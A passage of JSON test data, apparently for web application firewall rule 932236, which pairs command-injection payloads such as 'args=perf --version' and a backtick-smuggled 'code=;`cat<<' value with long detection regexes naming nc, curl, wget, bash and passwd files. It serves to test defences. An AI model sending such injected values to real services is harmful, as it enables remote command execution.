&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution of env command with arguments" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "args=perf --version" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\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p)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\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(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution of perf command with arguments" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<\\|]|$).*|[ls][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?r[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||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\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|